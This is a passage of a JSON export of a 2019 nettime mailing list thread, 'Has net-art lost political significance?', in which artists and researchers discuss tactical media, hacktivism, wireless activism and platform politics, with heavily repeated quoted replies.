                                "id": "00112",
                                "date": "Fri, 28 Jun 2019 04:35:45 -0400",
                                "to": "mollyhankwitz@gmail.com, rachel.odwyer@gmail.com",
                                "message-id": "1561710945.tq0xcwu1sg8wcs40@hostingemail.digitalspace.net",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00112.html",
                                "content-type": "multipart/mixed",
                                "author_name": "voyd",
                                "subject": "Re: <nettime> Has net-art lost political significance?"
                            },
                            {
                                "from": "Minka Stoyanova <theartist@minkaart.net>",
                                "content": "Hello Rachel,\n\nI love your questions. Personally, I just submitted my PhD thesis which had some similar research goals. While I love the construct of \"the network\" and \"the exploit\" -- I feel they are dated/need revision in today's landscape of platform politics. In addition I think the flat hierarchy of the network is a bit utopian and doesn't recognize the power of some individuals in the overall structure. Moreover, I feel the discourse around tactical works needs to be expanded to include works that engage technology (broadly) in a critical way as, for me, technology and the internet are (at this point) part of a single continuum. The idea that we can talk about work 'on the web' singularly and separate from work that is about the web, that is of the web, or that is simply of our current techno-social condition is stifling, I believe.\n\nI think you can apply whatever theoretical model you want; the discourse (as your research question recognizes) is ripe for new frameworks. Personally, I used my own kind of cyborg theory (a blend of Heidegger, McLuhan, Latour, Haraway, Bratton, and Terranova... among others) to discuss these types of works in terms of challenging our relationship to technology as both a global system we are embedded in and distributed across and as something which has embedded itself in us. Maybe that will help you with your approach.\n\nCertainly, there are artists making work that is interesting, important, and political in this landscape. Many are mentioned in other responses. Goodness, what the alt-right did was straight out of the handbook of Tactical Media, very effective, and not not art -- although it might terrify some of us. That has been discussed here, in fact -- and I was again discussing it last week at a conference.\n\n~MinkaOn Fri, Jun 28, 2019 at 11:38 AM <voyd@voyd.com> wrote:\n\t\n\n\nSo interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00118",
                                "date": "Sun, 30 Jun 2019 17:04:57 +0300",
                                "to": "voyd@voyd.com",
                                "message-id": "CAEbi+4RkBHPQFVGuBPFLoXqA1KnSEscdhhDQbkDrOQQvRju9aQ@mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00118.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Minka Stoyanova",
                                "subject": "Re: <nettime> Has net-art lost political significance?"
                            }
                        ],
                        "from": "Molly Hankwitz <mollyhankwitz@gmail.com>",
                        "content": "Hi Rachel,\n\nsnip -\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so onsnipGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\nMolly\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:What characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?Or is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?If you've read or written anything that you think might be interesting I'd love to hear about it,Best,Rachel\n\nA bit more detail about why I'm asking this question:\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\nBut I\u2019m feeling a bit paralysed.\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n-- http://www.rachelodwyer.com/+353 (85) 7023779\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00111",
                        "date": "Thu, 27 Jun 2019 15:28:58 -0700",
                        "to": "\"Rachel O' Dwyer\" <rachel.odwyer@gmail.com>",
                        "message-id": "CAH5TXpx9soxa6BkZuUYeHT9keLuLVJMc27gxdJaRQt4k_fZY7Q@mail.gmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00111.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Molly Hankwitz",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    },
                    {
                        "from": "\"Tom Keene\" <tom@theanthillsocial.co.uk>",
                        "content": "Hi Rachel, I've written a contribution to an upcoming Critical Makers Reader for the Institute of Network Cultures that may be of interest. It relates to my PhD artist and activist led research (in final year of write-up) of local authority databases, processes of urban regeneration, and an ongoing fight to prevent the demolition of 306 homes, including my own. I employ art as a method of enquiry where the space between art, activism, academia, theory, programming, and my personal life is frequently blurred.\n\n Its not a treatise on early media art, though\n\n Its definitely a different approach to tactical media etc. so may be of interest? I've a live 'sketchbook' of this work that can be viewed at http://db-estate.co.uk Its filled with images, video, notes, code, and lots of half-formed text and errors! I wrote some code to automatically (and periodically) generate the website from a project/activist folder on my laptop that I work from - hence the live and error prone aspect that imparts a sense of an unfolding process and attempts to show the mess of this kind of work that is frequently hidden from view. There's a 'hidden menu' within a light grey box to the top right of the website that shows the directory structure and links to even more mess.... Though it feels slightly scary to mention this on Netime!!Tom On Thu, 27 Jun 2019, at 11:40 AM, Rachel O' Dwyer wrote:What characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?Or is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?If you've read or written anything that you think might be interesting I'd love to hear about it,Best,Rachel\n\nA bit more detail about why I'm asking this question:\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\nBut I\u2019m feeling a bit paralysed.\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n-- http://www.rachelodwyer.com/+353 (85) 7023779#\n\n distributed via <nettime>: no commercial use without permission#\n\n <nettime>\n\n is a moderated mailing list for net criticism,#\n\n collaborative text filtering and cultural politics of the nets#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l#\n\n archive: http://www.nettime.org contact: nettime@kein.org#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00113",
                        "date": "Fri, 28 Jun 2019 09:57:54 +0100",
                        "to": "nettime-l@mail.kein.org",
                        "message-id": "e1f25ef0&#45;4057&#45;459d&#45;b74b&#45;d07e1ceb7922@www.fastmail.com",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00113.html",
                        "content-type": "multipart/mixed",
                        "author_name": "Tom Keene",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    },
                    {
                        "follow-up": [
                            {
                                "from": "Minka Stoyanova <theartist@minkaart.net>",
                                "content": "Hello Rachel,\n\nI love your questions. Personally, I just submitted my PhD thesis which had some similar research goals. While I love the construct of \"the network\" and \"the exploit\" -- I feel they are dated/need revision in today's landscape of platform politics. In addition I think the flat hierarchy of the network is a bit utopian and doesn't recognize the power of some individuals in the overall structure. Moreover, I feel the discourse around tactical works needs to be expanded to include works that engage technology (broadly) in a critical way as, for me, technology and the internet are (at this point) part of a single continuum. The idea that we can talk about work 'on the web' singularly and separate from work that is about the web, that is of the web, or that is simply of our current techno-social condition is stifling, I believe.\n\nI think you can apply whatever theoretical model you want; the discourse (as your research question recognizes) is ripe for new frameworks. Personally, I used my own kind of cyborg theory (a blend of Heidegger, McLuhan, Latour, Haraway, Bratton, and Terranova... among others) to discuss these types of works in terms of challenging our relationship to technology as both a global system we are embedded in and distributed across and as something which has embedded itself in us. Maybe that will help you with your approach.\n\nCertainly, there are artists making work that is interesting, important, and political in this landscape. Many are mentioned in other responses. Goodness, what the alt-right did was straight out of the handbook of Tactical Media, very effective, and not not art -- although it might terrify some of us. That has been discussed here, in fact -- and I was again discussing it last week at a conference.\n\n~MinkaOn Fri, Jun 28, 2019 at 11:38 AM <voyd@voyd.com> wrote:\n\t\n\n\nSo interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                                "id": "00118",
                                "date": "Sun, 30 Jun 2019 17:04:57 +0300",
                                "to": "voyd@voyd.com",
                                "message-id": "CAEbi+4RkBHPQFVGuBPFLoXqA1KnSEscdhhDQbkDrOQQvRju9aQ@mail.gmail.com",
                                "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00118.html",
                                "content-type": "multipart/mixed",
                                "author_name": "Minka Stoyanova",
                                "subject": "Re: <nettime> Has net-art lost political significance?"
                            }
                        ],
                        "from": "voyd@voyd.c",
                        "content": "So interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on\n\nsnip\n\n\n\n\n\nGreat. So needed. I wrote a dissertation on WiFi practices - a bit earlier history than what you are looking for. I write about \u201cwarchalking\u201d and other kinds of social media based information spaces, hacks. From that experience I\u2019d bet you will be best off in the arts. If there is writing being done it would be from groups like the then - headman - Knowbotics Research, etc. But the best project - utilizing mobile tools and being both tactical and poetry and human rights - Transborder Tool b.a.n.g. Lab. Ricardo Dominguez\u2019s and Brett Stalbaum from virtual sit-in days behind it as well as Micha Cardenas. We programmed this into our project - City Centered: Locative Media and Wireless Festival - 2010. I think TBT is having a re-release. (Smile)\n\n\n\n\n\n\n\nMolly\n\n\n\n\n\n\n\nOn Thu, Jun 27, 2019 at 3:40 AM Rachel O' Dwyer <rachel.odwyer@gmail.com> wrote:\n\n\n\n\n\nWhat characterises media art interventions in the context of \u2018surveillance capitalism\u2019, platforms and the gig economy? Are these practices still meaningful or, as F.A.T. Lab claimed in 2015, \n\nhave they lost political significance in the face of global platforms?\n\n\n\n\n\n\n\nCan we still speak about \u2018tactical media\u2019 or \u2018the exploit\u2019, and if not is this because\n\n\n\na) network activism has transformed so that these older descriptions no longer accurately describe net art and \u2018hacktivist\u2019 practices, or\n\n\n\nb) these art practices have stayed much the same, but they are no longer effective in the current political and economic context?\n\n\n\n\n\nI\u2019m wondering if anyone knows of any writing that attempts to theorise/frame media art activist work post 2012? Perhaps to speak about it as a set of practices discrete from theories of \u2018tactical media\u2019 or \u2018the exploit\u2019 that go before? Perhaps something on post-internet art and activism?\n\nOr is it a case of looking at writing about activism in the face of defeat and what seems like a hopeless cause?\n\n\n\n\n\nIf you've read or written anything that you think might be interesting I'd love to hear about it,\n\n\n\n\n\nBest,\n\n\n\n\n\nRachel\n\n\n\n\n\nA bit more detail about why I'm asking this question:\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the politics of the wireless spectrum \u2013 who owns it, how it\u2019s controlled and so on.\n\n\n\nBut I\u2019m feeling a bit paralysed.\n\n\n\nI love these works; I love their inventive materiality and the ways that they exploit and reverse-engineer existing systems, but I don\u2019t know what claims I can make for their political impact. And yet I feel that this work is still very worthwhile.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n--\n\n\n\nhttp://www.rachelodwyer.com/\n\n+353 (85) 7023779\n\n\n\n\n\n#\n\n distributed via <nettime>: no commercial use without permission\n#\n\n <nettime>\n\n is a moderated mailing list for net criticism,\n#\n\n collaborative text filtering and cultural politics of the nets\n#\n\n more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#\n\n archive: http://www.nettime.org contact: nettime@kein.org\n#\n\n @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n# distributed via : no commercial use without permission\n#  is a moderated mailing list for net criticism,\n# collaborative text filtering and cultural politics of the nets\n# more info: http://mx.kein.org/mailman/listinfo/nettime-l\n# archive: http://www.nettime.org contact: nettime@kein.org\n# @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n\n\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime@kein.org\n#  @nettime_bot tweets mail w/ sender unless #ANON is in Subject:\n",
                        "id": "00112",
                        "date": "Fri, 28 Jun 2019 04:35:45 -0400",
                        "to": "mollyhankwitz@gmail.com, rachel.odwyer@gmail.com",
                        "message-id": "1561710945.tq0xcwu1sg8wcs40@hostingemail.digitalspace.net",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1906/msg00112.html",
                        "content-type": "multipart/mixed",
                        "author_name": "voyd",
                        "subject": "Re: <nettime> Has net-art lost political significance?"
                    },
                    {
                        "from": "Minka Stoyanova <theartist@minkaart.net>",
                        "content": "Hello Rachel,\n\nI love your questions. Personally, I just submitted my PhD thesis which had some similar research goals. While I love the construct of \"the network\" and \"the exploit\" -- I feel they are dated/need revision in today's landscape of platform politics. In addition I think the flat hierarchy of the network is a bit utopian and doesn't recognize the power of some individuals in the overall structure. Moreover, I feel the discourse around tactical works needs to be expanded to include works that engage technology (broadly) in a critical way as, for me, technology and the internet are (at this point) part of a single continuum. The idea that we can talk about work 'on the web' singularly and separate from work that is about the web, that is of the web, or that is simply of our current techno-social condition is stifling, I believe.\n\nI think you can apply whatever theoretical model you want; the discourse (as your research question recognizes) is ripe for new frameworks. Personally, I used my own kind of cyborg theory (a blend of Heidegger, McLuhan, Latour, Haraway, Bratton, and Terranova... among others) to discuss these types of works in terms of challenging our relationship to technology as both a global system we are embedded in and distributed across and as something which has embedded itself in us. Maybe that will help you with your approach.\n\nCertainly, there are artists making work that is interesting, important, and political in this landscape. Many are mentioned in other responses. Goodness, what the alt-right did was straight out of the handbook of Tactical Media, very effective, and not not art -- although it might terrify some of us. That has been discussed here, in fact -- and I was again discussing it last week at a conference.\n\n~MinkaOn Fri, Jun 28, 2019 at 11:38 AM <voyd@voyd.com> wrote:\n\t\n\n\nSo interesting.\n\n\nI also find this so interesting because in the light of fakeness, Tactical Media is harder, in the sense of the intervention/provocation to response that was done\n\n with RTMark/YesMen back in the time I was active. I think that the new Washington Post, after the Times and NY Post ones that were done in the late 2000's, was powerful because I heard about it in the UAE.\n\nHowever, in the Eastern hemisphere, I have been working with AR as a \"local\" discourse (meaning that anyone can get the app, but the message is pretty limited to them), as well as working with artists in Kazakhstan about messages AR as tactical media, such as overlaying messages over works in the National Mueum (based on the Manifest.AR We AR MoMA intervention I was part of around 2010) and the \"Modernization of Consciousness\" (Ruhani Zhangru) posters in 2018.\n\n These are some interestign ways in which one can laterally engage networks for critical discourse.\n\nIn addition, I am working with David Guillo with his independent web router galleries as a sort of TAZ in regions that employ firewalls and net.filtering. This follows from my setting up occupy.here routers as wifi \"islands\" for collaboration without using VPN, and therefore staying technically within local regulations.\n\nWhile not so much \"Tactical\" media, I consider that in the era of increasing firewalling, and in the case of threatened net.separation in Russia and Iran, I feel hang autonomous server art is a critical space for exploration of these topics as well.\n\nOn Thu, 27 Jun 2019 15:28:58 -0700, Molly Hankwitz  wrote:\n\n\n\n\nHi Rachel,\n\n\n\n\n\nsnip -\n\n\n\nI\u2019m currently writing about various tactical and activist practices in the wireless space, including artistic interventions, software-defined radio communities who are reverse-engineering, hacking, sniffing and jamming signals, communities and activists who are building communal Wi-Fi and cellular networks and artists making work in or about the 